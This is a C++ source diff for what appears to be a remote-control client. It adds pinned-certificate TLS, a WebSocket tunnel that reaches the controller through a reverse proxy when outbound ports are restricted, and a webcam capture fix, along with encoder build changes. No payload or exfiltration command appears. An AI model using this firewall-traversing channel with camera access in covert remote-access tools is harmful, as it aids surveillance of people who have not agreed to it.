dir = ExeDir(); // 无 HOME 的极端环境:退回程序目录
|
||||
if (dir.empty()) {
|
||||
err = "cannot resolve config directory";
|
||||
return false;
|
||||
}
|
||||
}
|
||||
if (!MkdirP(dir, 0700)) {
|
||||
err = "cannot create directory " + dir + ": " + strerror(errno);
|
||||
return false;
|
||||
}
|
||||
|
||||
std::string path = dir + "/" + kAnchorName;
|
||||
std::string tmp = path + ".tmp";
|
||||
int fd = open(tmp.c_str(), O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||||
if (fd < 0) {
|
||||
err = "cannot create " + tmp + ": " + strerror(errno);
|
||||
return false;
|
||||
}
|
||||
size_t off = 0;
|
||||
while (off < pem.size()) {
|
||||
ssize_t w = write(fd, pem.data() + off, pem.size() - off);
|
||||
if (w <= 0) {
|
||||
if (w < 0 && errno == EINTR)
|
||||
continue;
|
||||
err = "cannot write " + tmp + ": " + strerror(errno);
|
||||
close(fd);
|
||||
unlink(tmp.c_str());
|
||||
return false;
|
||||
}
|
||||
off += (size_t)w;
|
||||
}
|
||||
fsync(fd);
|
||||
close(fd);
|
||||
|
||||
// 原子替换 + 收紧权限(目录可能已由 LinuxConfig 以 0755 创建)
|
||||
if (rename(tmp.c_str(), path.c_str()) != 0) {
|
||||
err = "cannot replace " + path + ": " + strerror(errno);
|
||||
unlink(tmp.c_str());
|
||||
return false;
|
||||
}
|
||||
chmod(path.c_str(), 0600);
|
||||
|
||||
Mprintf("[TLS] trust anchor saved to %s\n", path.c_str());
|
||||
return true;
|
||||
}
|
||||
|
||||
bool TlsTrustAnchorRemove(std::string& err)
|
||||
{
|
||||
std::vector<std::string> paths;
|
||||
std::string dir = ConfigDir();
|
||||
if (!dir.empty())
|
||||
paths.push_back(dir + "/" + kAnchorName);
|
||||
std::string exed = ExeDir();
|
||||
if (!exed.empty())
|
||||
paths.push_back(exed + "/" + kAnchorName);
|
||||
|
||||
bool removed = false;
|
||||
for (size_t i = 0; i < paths.size(); ++i) {
|
||||
if (unlink(paths[i].c_str()) == 0) {
|
||||
removed = true;
|
||||
Mprintf("[TLS] trust anchor removed: %s\n", paths[i].c_str());
|
||||
} else if (errno != ENOENT) {
|
||||
err = "cannot remove " + paths[i] + ": " + strerror(errno);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
if (!removed) {
|
||||
err = "no trust anchor configured";
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// ---- TlsChannel ----
|
||||
|
||||
void TlsChannel::CloseHandles()
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
|
||||
if (m_ssl) {
|
||||
SSL_free(m_ssl); // 不发送 close_notify:与 Windows 的 DeleteSecurityContext 同语义
|
||||
m_ssl = nullptr;
|
||||
}
|
||||
m_fd = -1;
|
||||
m_ready = false;
|
||||
}
|
||||
|
||||
bool TlsChannel::Handshake(int sock, const char* sni)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
|
||||
CloseHandles(); // 重连时清理上一次会话(recursive 锁,此处可重入)
|
||||
|
||||
// 在状态锁内取一份上下文:SSL_new 会递增 SSL_CTX 引用计数,此后即使 TlsReload()
|
||||
// 把全局上下文换掉(旧 ctx 被 SSL_CTX_free),本次握手的 SSL 仍然安全。
|
||||
SSL* ssl = nullptr;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_stateMtx);
|
||||
EnsureInitLocked();
|
||||
if (g_tlsCtx)
|
||||
ssl = SSL_new(g_tlsCtx);
|
||||
}
|
||||
if (!ssl) {
|
||||
Mprintf("[TLS] handshake called but no TLS context is available\n");
|
||||
return false;
|
||||
}
|
||||
if (SSL_set_fd(ssl, sock) != 1) {
|
||||
Mprintf("[TLS] SSL_set_fd failed\n");
|
||||
SSL_free(ssl);
|
||||
return false;
|
||||
}
|
||||
// SNI:反代(nginx)据此按域名分流到正确的 server 块。证书校验仍是自定义 store 里的
|
||||
// 信任锚(SSL_VERIFY_PEER + 不校主机名),与直连主控端口时完全一致。
|
||||
if (sni && *sni)
|
||||
SSL_set_tlsext_host_name(ssl, sni);
|
||||
SSL_set_connect_state(ssl);
|
||||
|
||||
// 阻塞 socket:WANT_READ / WANT_WRITE 只在记录分片等极端情形出现,重试即可。
|
||||
for (;;) {
|
||||
ERR_clear_error();
|
||||
int r = SSL_do_handshake(ssl);
|
||||
if (r == 1)
|
||||
break;
|
||||
int e = SSL_get_error(ssl, r);
|
||||
if (e == SSL_ERROR_WANT_READ || e == SSL_ERROR_WANT_WRITE)
|
||||
continue;
|
||||
|
||||
if (e == SSL_ERROR_SSL) {
|
||||
unsigned long err = ERR_peek_last_error();
|
||||
char ebuf[256] = {0};
|
||||
if (err)
|
||||
ERR_error_string_n(err, ebuf, sizeof(ebuf));
|
||||
Mprintf("[TLS] handshake failed: %s\n", ebuf[0] ? ebuf : "SSL error");
|
||||
} else if (e == SSL_ERROR_SYSCALL) {
|
||||
Mprintf("[TLS] handshake failed: syscall error (%s)\n", strerror(errno));
|
||||
} else {
|
||||
Mprintf("[TLS] handshake failed: SSL_get_error=%d (peer closed?)\n", e);
|
||||
}
|
||||
SSL_free(ssl);
|
||||
return false;
|
||||
}
|
||||
|
||||
// 单向 TLS:链必须钉扎到信任锚,且服务端确实出示了证书。默认 verify 只验链不校主机名,
|
||||
// 与 Windows 版(CertGetCertificateChain 只验链)行为一致。
|
||||
long vr = SSL_get_verify_result(ssl);
|
||||
#if OPENSSL_VERSION_NUMBER >= 0x30000000L
|
||||
X509* peer = SSL_get1_peer_certificate(ssl);
|
||||
#else
|
||||
X509* peer = SSL_get_peer_certificate(ssl);
|
||||
#endif
|
||||
if (!peer || vr != X509_V_OK) {
|
||||
Mprintf("[TLS] server certificate not trusted against trust anchor (%s)\n",
|
||||
X509_verify_cert_error_string(vr));
|
||||
if (peer)
|
||||
X509_free(peer);
|
||||
SSL_free(ssl);
|
||||
return false;
|
||||
}
|
||||
X509_free(peer);
|
||||
|
||||
m_ssl = ssl;
|
||||
m_fd = sock;
|
||||
m_ready = true;
|
||||
Mprintf("[TLS] handshake OK (%s, server cert trusted)\n", SSL_get_version(ssl));
|
||||
return true;
|
||||
}
|
||||
|
||||
int TlsChannel::Recv(int sock, char* out, int outLen)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
|
||||
if (!m_ready || outLen <= 0) {
|
||||
Mprintf("[TLS] Recv called but m_ready=%d (outLen=%d), returning SOCKET_ERROR\n",
|
||||
(int)m_ready, outLen);
|
||||
return SOCKET_ERROR;
|
||||
}
|
||||
(void)sock; // SSL 已绑定 fd
|
||||
|
||||
for (;;) {
|
||||
ERR_clear_error();
|
||||
int n = SSL_read(m_ssl, out, outLen);
|
||||
if (n > 0)
|
||||
return n;
|
||||
int e = SSL_get_error(m_ssl, n);
|
||||
if (e == SSL_ERROR_WANT_READ || e == SSL_ERROR_WANT_WRITE)
|
||||
continue;
|
||||
if (e == SSL_ERROR_ZERO_RETURN)
|
||||
return 0; // close_notify:对端正常关闭
|
||||
if (e == SSL_ERROR_SYSCALL && ERR_peek_last_error() == 0)
|
||||
return 0; // 对端未发 close_notify 就断开(unexpected EOF),按关闭处理
|
||||
|
||||
Mprintf("[TLS] SSL_read failed: SSL_get_error=%d (%s)\n", e, strerror(errno));
|
||||
return SOCKET_ERROR;
|
||||
}
|
||||
}
|
||||
|
||||
int TlsChannel::Send(int sock, const char* data, int len)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
|
||||
if (!m_ready)
|
||||
return SOCKET_ERROR;
|
||||
if (len <= 0)
|
||||
return 0;
|
||||
(void)sock; // SSL 已绑定 fd
|
||||
|
||||
int total = 0;
|
||||
while (total < len) {
|
||||
ERR_clear_error();
|
||||
int n = SSL_write(m_ssl, data + total, len - total);
|
||||
if (n > 0) {
|
||||
total += n;
|
||||
continue;
|
||||
}
|
||||
int e = SSL_get_error(m_ssl, n);
|
||||
if (e == SSL_ERROR_WANT_READ || e == SSL_ERROR_WANT_WRITE)
|
||||
continue;
|
||||
|
||||
Mprintf("[TLS] SSL_write failed: SSL_get_error=%d (%s), sent=%d/%d\n",
|
||||
e, strerror(errno), total, len);
|
||||
return total > 0 ? total : SOCKET_ERROR;
|
||||
}
|
||||
return total;
|
||||
}
|
||||
|
||||
bool TlsChannel::HasPending() const
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
|
||||
if (!m_ready || !m_ssl)
|
||||
return false;
|
||||
// SSL_pending: 已解密未交付的明文;SSL_has_pending: 内部还缓冲着未处理的记录字节。
|
||||
// 任一为真都说明 select 看不到但可以立刻读,必须优先消费。
|
||||
return SSL_pending(m_ssl) > 0 || SSL_has_pending(m_ssl) == 1;
|
||||
}
|
||||
|
||||
#endif // __linux__ && !__ANDROID__
|
||||
@@ -21,7 +21,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
|
||||
m_pVideoCodec = NULL;
|
||||
m_fccHandler = 1129730893;
|
||||
|
||||
m_CapVideo.Open(0,0); // 开启
|
||||
m_bVideoOpened = m_CapVideo.Open(0,0) == S_OK; // 开启
|
||||
lpBuffer = NULL;
|
||||
|
||||
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL);
|
||||
@@ -31,6 +31,11 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
|
||||
DWORD CVideoManager::WorkThread(LPVOID lParam)
|
||||
{
|
||||
CVideoManager *This = (CVideoManager *)lParam;
|
||||
if (!This->m_bVideoOpened) {
|
||||
This->Destroy();
|
||||
return 0x20261013;
|
||||
}
|
||||
|
||||
static ULONGLONG dwLastScreen = GetTickCount64();
|
||||
|
||||
if (This->Initialize()) { //转到Initialize
|
||||
|
||||
@@ -25,6 +25,7 @@ public:
|
||||
|
||||
BOOL m_bIsWorking;
|
||||
HANDLE m_hWorkThread;
|
||||
BOOL m_bVideoOpened;
|
||||
|
||||
void SendBitMapInfor();
|
||||
BOOL SendNextScreen();
|
||||
|
||||
@@ -0,0 +1,401 @@
|
||||
// WsChannel.h — WebSocket 传输层(客户端侧,头文件实现,无需改工程文件)
|
||||
//
|
||||
// 用途:当出站被限制在 80/443/8080 等少数端口时,客户端经反代(如 nginx 的 443)
|
||||
// 以 WebSocket 进入服务端。应用协议完全不变:本层只把字节流套进 WS 帧里,位置与
|
||||
// TLS 相同(TLS 之下、应用协议之上)。
|
||||
//
|
||||
// 两种形态(见 common/commands.h 的 ProtoType):
|
||||
// PROTO_WS 裸 WebSocket(反代把明文 upgrade 转发到主控端口)
|
||||
// PROTO_WSS WebSocket over TLS(反代终止 TLS;客户端仍用既有信任锚校验证书,
|
||||
// 并通过 SNI 让反代按域名分流到正确的 server 块)
|
||||
//
|
||||
// 线程模型:Handshake 在连接线程上、m_bConnected 置位前调用;之后 Recv 只由接收
|
||||
// 线程调用、Send 只由发送线程调用。但 Recv 里要为 ping/close 回写控制帧,收、发两个
|
||||
// 线程会同时写 socket,因此写方向必须用 m_sendMtx 串行化,且一帧的头与体要一次写出,
|
||||
// 否则两帧会互相穿插、对端解帧错位。TLS 自身的互斥由 TlsChannel 负责。
|
||||
#pragma once
|
||||
|
||||
#include <cstdio>
|
||||
#include <cstdlib>
|
||||
#include <cstring>
|
||||
#include <cstdint>
|
||||
#include <ctime>
|
||||
#include <atomic>
|
||||
#include <mutex>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#ifdef _WIN32
|
||||
#include <WinSock2.h>
|
||||
#else
|
||||
#include <sys/socket.h>
|
||||
#include <unistd.h>
|
||||
// 本头在 IOCPClient.h 里先于 common/commands.h 展开(后者是 Linux 版 SOCKET 的来源),
|
||||
// 这里补一份同类型定义;重复 typedef 合法。
|
||||
typedef int SOCKET;
|
||||
#endif
|
||||
#ifndef SOCKET_ERROR
|
||||
#define SOCKET_ERROR -1
|
||||
#endif
|
||||
|
||||
#include "TlsChannel.h"
|
||||
|
||||
class WsChannel
|
||||
{
|
||||
public:
|
||||
WsChannel() {}
|
||||
|
||||
#ifdef YAMA_TLS_CHANNEL
|
||||
// 绑定底层加密通道:WSS 指向 IOCPClient 的 TlsChannel,裸 WS 传 NULL。
|
||||
// 设置后本类的所有原始收发都经由它(或直接 send/recv)。
|
||||
void SetTls(TlsChannel* tls) { m_tls = tls; }
|
||||
#endif
|
||||
|
||||
// 让 Recv/Send 立刻失效。**可由任意线程调用**(Disconnect 可能来自心跳/命令线程,
|
||||
// 不只是接收线程),因此这里只碰原子量;帧解析状态留给 ResetFrames()——它只在
|
||||
// Handshake 里、接收线程还没起来时清。
|
||||
void Reset()
|
||||
{
|
||||
m_ready = false;
|
||||
}
|
||||
|
||||
bool IsReady() const { return m_ready; }
|
||||
|
||||
// 在已连通的 socket 上完成 HTTP Upgrade 握手。host 用于 Host 头(WSS 的 SNI 由
|
||||
// TlsChannel::Handshake 负责);path 是 Upgrade 请求的路径。失败时 err 给出原因。
|
||||
bool Handshake(SOCKET sock, const std::string& host, int port, const char* path, std::string* err = NULL)
|
||||
{
|
||||
Reset();
|
||||
ResetFrames();
|
||||
char hostPort[120] = { 0 };
|
||||
if (port == 80 || port == 443)
|
||||
snprintf(hostPort, sizeof(hostPort), "%s", host.c_str());
|
||||
else
|
||||
snprintf(hostPort, sizeof(hostPort), "%s:%d", host.c_str(), port);
|
||||
|
||||
// Sec-WebSocket-Key 用固定值:它只用于让中间设备确认这是 WS 握手(服务端会原样
|
||||
// 做 SHA1/Base64 回显),不承担任何安全职责;真正的身份由隧道内登录和 TLS 承担。
|
||||
std::string req;
|
||||
req.reserve(256);
|
||||
req += "GET ";
|
||||
req += path;
|
||||
req += " HTTP/1.1\r\nHost: ";
|
||||
req += hostPort;
|
||||
req += "\r\nUpgrade: websocket\r\nConnection: Upgrade\r\n";
|
||||
req += "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n";
|
||||
req += "Sec-WebSocket-Version: 13\r\n\r\n";
|
||||
|
||||
if (!SendAll(sock, req.data(), (int)req.size())) {
|
||||
if (err) *err = "send upgrade request failed";
|
||||
return false;
|
||||
}
|
||||
|
||||
// 逐字节读响应头,读到空行即停(多读的字节会被当作 WS 帧,而服务端在我们发首包
|
||||
// 前不会主动发数据,所以这里读到空行为止是安全的)。
|
||||
std::string head;
|
||||
bool complete = false;
|
||||
char c = 0;
|
||||
while (head.size() < 4096) {
|
||||
int n = RawRecv(sock, &c, 1);
|
||||
if (n <= 0) {
|
||||
if (err) *err = "connection closed during upgrade";
|
||||
return false;
|
||||
}
|
||||
head += c;
|
||||
if (head.size() >= 4 && head.compare(head.size() - 4, 4, "\r\n\r\n") == 0) {
|
||||
complete = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!complete) {
|
||||
if (err) *err = "upgrade response head too large";
|
||||
return false;
|
||||
}
|
||||
if (head.compare(0, 12, "HTTP/1.1 101") != 0) {
|
||||
if (err) {
|
||||
std::string line = head.substr(0, head.find("\r\n"));
|
||||
*err = "upgrade rejected: " + line;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
m_ready = true;
|
||||
return true;
|
||||
}
|
||||
|
||||
// 读取应用层字节:>0 为读到的字节数;0 表示对端正常关闭;SOCKET_ERROR 表示出错。
|
||||
// 与 recv 语义一致,调用方按同样方式处理。
|
||||
int Recv(SOCKET sock, char* buf, int len)
|
||||
{
|
||||
if (!m_ready || len <= 0)
|
||||
return SOCKET_ERROR;
|
||||
|
||||
for (;;) {
|
||||
if (m_remaining > 0) {
|
||||
int want = (m_remaining < (long long)len) ? (int)m_remaining : len;
|
||||
int n = RawRecv(sock, buf, want);
|
||||
if (n <= 0)
|
||||
return n; // 0 = 对端关闭;SOCKET_ERROR = 出错(TLS 已记录原因)
|
||||
if (m_masked) {
|
||||
for (int i = 0; i < n; i++) {
|
||||
buf[i] ^= (char)m_mask[m_maskPos];
|
||||
m_maskPos = (m_maskPos + 1) & 3;
|
||||
}
|
||||
}
|
||||
m_remaining -= n;
|
||||
return n;
|
||||
}
|
||||
|
||||
unsigned char opcode = 0;
|
||||
long long frameLen = 0;
|
||||
if (!ReadHeader(sock, opcode, frameLen))
|
||||
return SOCKET_ERROR;
|
||||
|
||||
if (opcode >= 0x8) {
|
||||
// 控制帧:载荷 ≤125 字节,必须在数据帧之间处理
|
||||
char ctl[125];
|
||||
if (frameLen > (long long)sizeof(ctl))
|
||||
return SOCKET_ERROR;
|
||||
if (frameLen > 0) {
|
||||
if (!ReadExact(sock, ctl, (int)frameLen))
|
||||
return SOCKET_ERROR;
|
||||
Unmask(ctl, (int)frameLen);
|
||||
}
|
||||
if (opcode == 0x8) { // close:回一个 close,然后按正常关闭处理
|
||||
(void)WriteFrame(sock, 0x8, ctl, (int)frameLen);
|
||||
m_ready = false;
|
||||
return 0;
|
||||
}
|
||||
if (opcode == 0x9) { // ping → pong
|
||||
if (!WriteFrame(sock, 0xA, ctl, (int)frameLen))
|
||||
return SOCKET_ERROR;
|
||||
}
|
||||
// 0xA (pong) 与其它的直接忽略
|
||||
continue;
|
||||
}
|
||||
|
||||
if (opcode != 0x0 && opcode != 0x1 && opcode != 0x2)
|
||||
return SOCKET_ERROR;
|
||||
if (frameLen == 0)
|
||||
continue;
|
||||
|
||||
m_remaining = frameLen;
|
||||
m_maskPos = 0;
|
||||
}
|
||||
}
|
||||
|
||||
// 发送应用层字节:全部发出返回 len;否则 SOCKET_ERROR。每包一帧(FIN + binary),
|
||||
// 与主控端 wsConn 的「一次 Write 一帧」对齐,保证包边界与发出时一致。
|
||||
int Send(SOCKET sock, const char* buf, int len)
|
||||
{
|
||||
if (!m_ready)
|
||||
return SOCKET_ERROR;
|
||||
if (len <= 0)
|
||||
return 0;
|
||||
return WriteFrame(sock, 0x2, buf, len) ? len : SOCKET_ERROR;
|
||||
}
|
||||
|
||||
// 是否有已收到但尚未交付的应用层字节。两处来源:帧载荷只解析了一半(m_remaining),
|
||||
// 或 TLS 会话内部还压着已解密明文(WSS)。接收线程在 select 之前要优先消费,
|
||||
// 否则 select 看不到这些字节会被 2 秒超时卡住。
|
||||
bool HasPending() const
|
||||
{
|
||||
if (m_remaining > 0)
|
||||
return true;
|
||||
#ifdef YAMA_TLS_CHANNEL
|
||||
if (m_tls)
|
||||
return m_tls->HasPending();
|
||||
#endif
|
||||
return false;
|
||||
}
|
||||
|
||||
private:
|
||||
// ---- 原始收发:有 TLS 会话时全程走 TLS,否则裸 socket ----
|
||||
|
||||
int RawRecv(SOCKET sock, char* buf, int len)
|
||||
{
|
||||
#ifdef YAMA_TLS_CHANNEL
|
||||
if (m_tls)
|
||||
return m_tls->Recv(sock, buf, len);
|
||||
#endif
|
||||
return ::recv(sock, buf, len, 0);
|
||||
}
|
||||
|
||||
int RawSend(SOCKET sock, const char* buf, int len)
|
||||
{
|
||||
#ifdef YAMA_TLS_CHANNEL
|
||||
if (m_tls)
|
||||
return m_tls->Send(sock, buf, len);
|
||||
#endif
|
||||
return ::send(sock, buf, len, 0);
|
||||
}
|
||||
|
||||
bool SendAll(SOCKET sock, const char* buf, int len)
|
||||
{
|
||||
int sent = 0;
|
||||
while (sent < len) {
|
||||
int n = RawSend(sock, buf + sent, len - sent);
|
||||
if (n <= 0)
|
||||
return false;
|
||||
sent += n;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ReadExact(SOCKET sock, void* buf, int len)
|
||||
{
|
||||
char* p = (char*)buf;
|
||||
int got = 0;
|
||||
while (got < len) {
|
||||
int n = RawRecv(sock, p + got, len - got);
|
||||
if (n <= 0)
|
||||
return false;
|
||||
got += n;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// 读帧头(含扩展长度与掩码键)。服务端发来的帧不应带掩码,带了也照样解。
|
||||
static const long long kMaxFramePayload = 256LL * 1024 * 1024;
|
||||
|
||||
bool ReadHeader(SOCKET sock, unsigned char& opcode, long long& frameLen)
|
||||
{
|
||||
unsigned char h[2] = { 0, 0 };
|
||||
if (!ReadExact(sock, h, 2))
|
||||
return false;
|
||||
if (h[0] & 0x70)
|
||||
return false; // 未协商扩展却置了 RSV 位
|
||||
|
||||
opcode = h[0] & 0x0F;
|
||||
m_masked = (h[1] & 0x80) != 0;
|
||||
frameLen = h[1] & 0x7F;
|
||||
|
||||
if (frameLen == 126) {
|
||||
unsigned char ext[2];
|
||||
if (!ReadExact(sock, ext, 2))
|
||||
return false;
|
||||
frameLen = ((long long)ext[0] << 8) | ext[1];
|
||||
} else if (frameLen == 127) {
|
||||
unsigned char ext[8];
|
||||
if (!ReadExact(sock, ext, 8))
|
||||
return false;
|
||||
frameLen = 0;
|
||||
for (int i = 0; i < 8; i++)
|
||||
frameLen = (frameLen << 8) | ext[i];
|
||||
if (frameLen < 0)
|
||||
return false;
|
||||
}
|
||||
// 单帧载荷上限,与主控端 ServerWsSession 的 kMaxFramePayload 取同一个值(256 MB)。
|
||||
// 没有上限时,一个错误/被篡改的长度字段就能把 m_remaining 定在天文数字上,此后
|
||||
// 所有字节都被当成该帧的内容吞掉,连接表面上还活着却永远收不到新包——比直接断线
|
||||
// 难查得多。正常业务的最大单包远小于此值,故不会挡住既有功能。
|
||||
if (frameLen > kMaxFramePayload)
|
||||
return false;
|
||||
if (m_masked && !ReadExact(sock, m_mask, 4))
|
||||
return false;
|
||||
m_maskPos = 0;
|
||||
return true;
|
||||
}
|
||||
|
||||
void Unmask(char* buf, int len)
|
||||
{
|
||||
if (!m_masked)
|
||||
return;
|
||||
for (int i = 0; i < len; i++) {
|
||||
buf[i] ^= (char)m_mask[m_maskPos];
|
||||
m_maskPos = (m_maskPos + 1) & 3;
|
||||
}
|
||||
}
|
||||
|
||||
// 写一帧。客户端发往服务端的帧必须带掩码(RFC 6455 §5.3)。整帧(帧头 + 掩码后的
|
||||
// 载荷)在 m_sendMtx 内一次写出:接收线程可能在同一时刻回 pong/close,若两帧各自
|
||||
// 分「头」「体」两次发送就会交错,对端从此解帧错位。
|
||||
bool WriteFrame(SOCKET sock, unsigned char opcode, const char* payload, int len)
|
||||
{
|
||||
unsigned char hdr[14];
|
||||
int hn = 2;
|
||||
hdr[0] = (unsigned char)(0x80 | opcode);
|
||||
if (len < 126) {
|
||||
hdr[1] = (unsigned char)(0x80 | len);
|
||||
} else if (len <= 0xFFFF) {
|
||||
hdr[1] = 0x80 | 126;
|
||||
hdr[2] = (unsigned char)((len >> 8) & 0xFF);
|
||||
hdr[3] = (unsigned char)(len & 0xFF);
|
||||
hn = 4;
|
||||
} else {
|
||||
hdr[1] = 0x80 | 127;
|
||||
unsigned long long v = (unsigned long long)len;
|
||||
for (int i = 0; i < 8; i++)
|
||||
hdr[2 + i] = (unsigned char)((v >> (56 - 8 * i)) & 0xFF);
|
||||
hn = 10;
|
||||
}
|
||||
|
||||
std::lock_guard<std::mutex> lock(m_sendMtx);
|
||||
// 掩码在锁内、用本实例私有的 PRNG 生成:发送线程与接收线程(pong / close)都会
|
||||
// 写帧,锁外取掩码会让两个线程并发推进共享状态;而全局 rand() 更不能用了——
|
||||
// HttpMask 的构造函数里有 srand(time(nullptr)),会在同进程内重置全局序列。
|
||||
// xorshift64 对本场景足够(RFC 6455 §5.3 只要求掩码来自概率性熵源,不承担安全职责)。
|
||||
unsigned long long r = NextMask64();
|
||||
unsigned char mask[4];
|
||||
for (int i = 0; i < 4; i++)
|
||||
mask[i] = (unsigned char)((r >> (8 * i)) & 0xFF);
|
||||
memcpy(hdr + hn, mask, 4);
|
||||
hn += 4;
|
||||
|
||||
// 复用同一个缓冲区:发送热路径上每帧不再分配一个新 vector。
|
||||
m_frame.resize((size_t)hn + (size_t)len);
|
||||
char* frame = m_frame.data();
|
||||
memcpy(frame, hdr, hn);
|
||||
char* dst = frame + hn;
|
||||
for (int i = 0; i < len; i++)
|
||||
dst[i] = (char)(payload[i] ^ (char)mask[i & 3]);
|
||||
|
||||
return SendAll(sock, frame, hn + len);
|
||||
}
|
||||
|
||||
#ifdef YAMA_TLS_CHANNEL
|
||||
TlsChannel* m_tls = NULL; // WSS 时指向 IOCPClient 的 TLS 会话
|
||||
#endif
|
||||
// 会话是否就绪。收、发分处两个线程,且 Disconnect 可能从接收线程侧走 Reset(),
|
||||
// 故用原子量:x86 上裸 bool 实践无害,但换架构就不能再依赖这个巧合。
|
||||
std::atomic<bool> m_ready{false};
|
||||
|
||||
// 写帧掩码用的私有 PRNG(只在 m_sendMtx 内推进)。种子取地址 + 时间,够用即可:
|
||||
// 掩码只用于让帧在链路上不再是固定形态,安全性由 TLS 与隧道内登录承担。
|
||||
unsigned long long NextMask64()
|
||||
{
|
||||
unsigned long long x = m_maskState;
|
||||
if (x == 0) {
|
||||
x = (unsigned long long)(uintptr_t)this;
|
||||
x = x * 0x9E3779B97F4A7C15ULL ^ (unsigned long long)time(nullptr);
|
||||
if (x == 0)
|
||||
x = 0x2545F4914F6CDD1DULL;
|
||||
}
|
||||
// xorshift64*
|
||||
x ^= x >> 12;
|
||||
x ^= x << 25;
|
||||
x ^= x >> 27;
|
||||
m_maskState = x;
|
||||
return x * 0x2545F4914F6CDD1DULL;
|
||||
}
|
||||
unsigned long long m_maskState = 0;
|
||||
|
||||
// 写方向串行化(发送线程与接收线程的 pong/close 都会写帧),以及复用的整帧缓冲。
|
||||
std::mutex m_sendMtx;
|
||||
std::vector<char> m_frame;
|
||||
|
||||
// 当前数据帧的剩余载荷长度与掩码状态(只由接收线程读写,无需加锁)。
|
||||
// 只能在接收线程未运行时清(见 public Reset()):Handshake 在连接线程上、m_bConnected
|
||||
// 置位之前调用,那时接收线程还没开始读 socket。
|
||||
void ResetFrames()
|
||||
{
|
||||
m_remaining = 0;
|
||||
m_masked = false;
|
||||
m_maskPos = 0;
|
||||
}
|
||||
|
||||
long long m_remaining = 0;
|
||||
bool m_masked = false;
|
||||
unsigned char m_mask[4] = { 0, 0, 0, 0 };
|
||||
int m_maskPos = 0;
|
||||
};
|
||||
+13
-4
@@ -2,21 +2,30 @@
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// libyuv 与 x264 是两个独立依赖,必须分开处理:硬编路径(CFFmpegAV1Encoder /
|
||||
// CFFmpegH264Encoder)也拿 libyuv 做色彩空间转换,但这两个文件自己没有
|
||||
// #pragma comment(lib),一直靠这里引入。所以 libyuv 必须留在 x264 开关之外——
|
||||
// 否则 DISABLE_X264_FOR_TEST=1 会把 libyuv 一起丢掉,链接时立刻报
|
||||
// LNK2001: RGB24ToI420 / ARGBToNV12 / I420ToNV12。
|
||||
#ifdef _WIN64
|
||||
#pragma comment(lib,"libyuv/libyuv_x64.lib")
|
||||
#else
|
||||
#pragma comment(lib,"libyuv/libyuv.lib")
|
||||
#endif
|
||||
|
||||
#if DISABLE_X264_FOR_TEST
|
||||
CX264Encoder::CX264Encoder() { memset(&m_Param, 0, sizeof(m_Param)); m_pCodec = NULL; m_pPicIn = NULL; m_pPicOut = NULL; m_forceIDR = false; }
|
||||
// 合规构建的桩实现:头文件已不含 x264 类型,这里也不能碰 m_Param / x264_param_t。
|
||||
CX264Encoder::CX264Encoder() { m_forceIDR = false; }
|
||||
CX264Encoder::~CX264Encoder() {}
|
||||
bool CX264Encoder::open(int, int, int, int) { return false; }
|
||||
bool CX264Encoder::open(x264_param_t*) { return false; }
|
||||
bool CX264Encoder::open(const EncoderParams&) { return false; }
|
||||
void CX264Encoder::close() {}
|
||||
int CX264Encoder::encode(uint8_t*, uint8_t, uint32_t, uint32_t, uint32_t, uint8_t**, uint32_t*, int) { return -1; }
|
||||
|
||||
#else
|
||||
#ifdef _WIN64
|
||||
#pragma comment(lib,"libyuv/libyuv_x64.lib")
|
||||
#pragma comment(lib,"x264/libx264_x64.lib")
|
||||
#else
|
||||
#pragma comment(lib,"libyuv/libyuv.lib")
|
||||
#pragma comment(lib,"x264/libx264.lib")
|
||||
#endif
|
||||
|
||||
|
||||
+44
-2
@@ -1,14 +1,54 @@
|
||||
#pragma once
|
||||
|
||||
#include "VideoEncoderBase.h"
|
||||
// 必须在下面的条件编译之前:DISABLE_X264_FOR_TEST 定义在这里。
|
||||
// 原来它排在 x264 头文件之后,导致开关无论怎么设,x264.h 都已经被拉进来了。
|
||||
#include "common/config.h"
|
||||
|
||||
#if DISABLE_X264_FOR_TEST
|
||||
|
||||
// 合规构建(DISABLE_X264_FOR_TEST=1):不包含 x264 / libyuv 头文件,不声明任何
|
||||
// x264 类型,整棵源码树不含 GPL 头文件,也不链接 libx264。
|
||||
//
|
||||
// 类仍保留基类接口(EncoderFactory::CreateEncoder 通过 VideoEncoderBase 指针创建
|
||||
// 并调用),但 open() 恒返回 false,由 CreateEncoder 自然回退到硬编路径;
|
||||
// 若硬编也不可用则返回 nullptr,调用方按“无编码器”处理。
|
||||
class CX264Encoder : public VideoEncoderBase
|
||||
{
|
||||
private:
|
||||
bool m_forceIDR; // 保留成员以对齐两套实现的行为,桩里不使用
|
||||
public:
|
||||
// 旧签名保留:与非合规构建保持同一份对外接口
|
||||
bool open(int width, int height, int fps, int crf);
|
||||
|
||||
// VideoEncoderBase
|
||||
bool open(const EncoderParams& params) override;
|
||||
void close() override;
|
||||
int encode(
|
||||
uint8_t * rgb,
|
||||
uint8_t bpp,
|
||||
uint32_t stride,
|
||||
uint32_t width,
|
||||
uint32_t height,
|
||||
uint8_t ** lppData,
|
||||
uint32_t * lpSize,
|
||||
int direction = 1
|
||||
) override;
|
||||
void forceIDR() override { m_forceIDR = true; }
|
||||
VideoCodec codec() const override { return VideoCodec::H264; }
|
||||
const char* backendName() const override { return "x264"; }
|
||||
|
||||
CX264Encoder();
|
||||
